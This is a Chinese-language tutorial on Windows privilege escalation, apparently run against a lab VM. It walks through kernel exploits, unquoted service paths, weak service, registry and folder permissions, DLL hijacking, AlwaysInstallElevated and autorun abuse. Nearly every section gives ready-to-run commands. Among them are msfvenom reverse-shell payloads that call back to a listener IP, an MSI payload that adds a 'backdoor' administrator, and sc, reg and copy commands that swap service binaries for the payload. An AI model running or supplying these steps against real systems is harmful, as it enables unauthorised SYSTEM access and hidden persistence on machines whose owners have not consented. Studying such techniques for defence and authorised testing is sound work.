Windows提权相关的技术总结
Windows内核利用
如果该系统经常升级,那么这些利用方式可能不会那么有效。你可以使用Watson检查看看有没有因为没有打补丁而产生的漏洞。现在Watson已经整合进winPEAS了。一旦你发现任何漏洞,你都可以在下面的仓库中下载到相同的漏洞。这里你要确保下载的架构和你目标架构一致 。如果你需要编译二进制文件,你可以使用kali进行交叉编译。
https://github.com/SecWiki/windows-kernel-exploits
第一步:提取systeminfo命令的输出信息
C:\Users\user>systeminfo
Host Name: MSEDGEWIN10
OS Name: Microsoft Windows 10 Enterprise Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner:
Registered Organization: Microsoft
Product ID: 00329-20000-00001-AA236
Original Install Date: 3/19/2019, 4:59:35 AM
System Boot Time: 2/27/2022, 9:40:09 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz
[02]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,225 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 3,331 MB
Virtual Memory: In Use: 2,172 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\MSEDGEWIN10
Hotfix(s): 9 Hotfix(s) Installed.
[01]: KB4601558
[02]: KB4462930
[03]: KB4465065
[04]: KB4470788
[05]: KB4480056
[06]: KB4486153
[07]: KB4489907
[08]: KB5003243
[09]: KB4489899
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Ethernet0
DHCP Enabled: Yes
DHCP Server: 192.168.58.70
IP address(es)
[01]: 192.168.58.66
[02]: fe80::30eb:c6f3:8bdf:9647
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
第二步:使用wes(https://github.com/bitsadmin/wesng)或者windows-exploit-suggeste(https://github.com/SecWiki/windows-kernel-exploits)这两个工具对systeminfo的信息进行扫描,这里我以wes工具为例。
命令:python wes.py systeminfo.txt
通过结果我们可以在漏洞库中下载不同的版本进行提权。
漏洞库链接:
1.https://github.com/SecWiki/windows-kernel-exploits
2.https://www.exploit-db.com/
第三步:将下载的文件放入靶机中运行,并启动我们通过msfvenom生成的木马文件即可。
生成木马命令:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe
运行命令:> .\x64.exe C:\PrivEsc\reverse.exe
未使用双引号的服务路径
如果启动了某一服务,Windows就会搜索它的二进制文件来运行。要运行的二进制文件的位置在 binPath 属性中声明。如果该二进制文件没有被引用,Windows就不知道该二进制文件存放在哪里,然后就会在所有文件夹中进行查找。 所以,如果我们想利用这一点,我们需满足三个条件:
- 服务路径未使用双引号;
- 服务路径包含空格;以及
- 我们有某一中间文件夹的写权限。
如果binPath是这样设置的:
| C:\Program Files\Unquoted Path Service\Common Files\service.exe |
---|
| |
Windows会根据以下顺序进行查找:
- C:\Program.exe
- C:\Program Files\Unquoted.exe
- C:\Program Files\Unquoted Path.exe
- C:\Program Files\Unquoted Path Service\Common.exe
- C:\Program Files\Unquoted Path Service\Common Files\service.exe
PowerUp检测到的未使用双引号的服务路径
winPEAS检测到的可写路径
第一步:用 msfvenom 创建一个payload,命名为reversel.exe,使用accesschk.exe检查写权限:
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
结果发现在.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"此目录下user有写得权限。
第二步:将生成的木马文件放入到目录下
使用copy命令
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path
Service\Common.exe"
这里注意前面的是我们的木马文件的路径 后面是我们得到的user用户拥有写权限的路径。
第三步:用sc start unquotedsvc启动该服务并运行该paylod。在kail上监听即可反弹shell。
弱服务权限
由SYSTEM创建的服务存在弱权限,会导致提权。如果低权限用户可以修改服务配置,也就是,修改 binPath 为一个恶意二进制文件并重启该服务,那么,恶意二进制文件就将以SYSTEM权限被执行。
如果Authenticated Users组在服务中具有SERVICE_ALL_ACCESS,则它可以修改该服务正在执行的二进制文件。
第一步:重新配置服务文件路径,使用我们的反向shell可执行文件:
命令: sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
第二步:启动服务
net start daclsvc
弱注册表权限
在Windows中,每一个服务都有一个注册键,而且这些注册键位于:
1 | HKLM\SYSTEM\CurrentControlSet\Services\<service_name> |
---|
| |
如果Authenticated Users或NT AUTHORITY\INTERACTIVE有任一服务的完全控制权,那么你就可以换掉要该service要运行的二进制文件。
第一步:修改注册表ImagePath的值为你的payload所在的位置,并启动该服务。
命令:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\tools\reverse.exe /f
注意:第一个地址为注册表的原始路径,第二个为我们的木马生成路径。
第二步:启动注册表服务。
命令:net start regsvc
弱文件夹权限
如果用户有某一服务所使用的文件夹的写权限,他就可以将二进制文件替换为恶意的二进制文件。那么重启服务后,该恶意二进制文件就会以更高的权限被执行。
有弱权限的二进制服务文件
第一步:通过复制payload到该二进制服务文件所在的位置,就可以替换该文件。重启该服务后,payload就会以更高权限被执行。
注意:我们在提权时为了防止被发现我们可以将需要替换的文件先复制到临时文件夹中,当提权结束后再将源文件移动回去。
命令:copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
这里第一个文件为生成的木马文件,第二个文件为我们的如文件夹的文件。
第二步:启动二进制文件
net start filepermsvc
DLL 劫持
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。 通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录 2、32位系统目录(C:\Windows\System32) 3、16位系统目录(C:\Windows\System) 4、Windows目录 (C:\Windows) 5、当前工作目录(Current Working Directory,CWD) 6、在PATH环境变量的目录(先系统后用户)
第一步:
先开启服务: net start dllsvc
第二步:
在kail上生成木马:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
第三步:复制DLL到Windows虚拟机,并进入C:\Temp目录。在Kali上启动监听器,然后停止/启动服务以触发攻击
> net stop dllsvc
> net start dllsvc
Always Install Elevated
根据AlwaysInstallElevated组策略,Windows允许低权限用户使用system权限安装微软Windows安装包(Microsoft Windows Installer,MSI)。
用msfvenom创建一个msi格式的payload。
msfvenom -p windows/adduser USER=backdoor PASS=Pass@1234 -f msi -o setup.msi
使用如下命令安装payload。
msiexec /quiet/qn /i C:\Windows\Temp\setup.msi
MSI安装后用户添加的后门。
可修改的autorun
因为autorun的路径是可以修改的,我们可以用payload替换该文件。要以高权限运行该程序,我们需要等某个在admin组的用户登录。
admin登录
payload在admin登录的那一刻执行。
|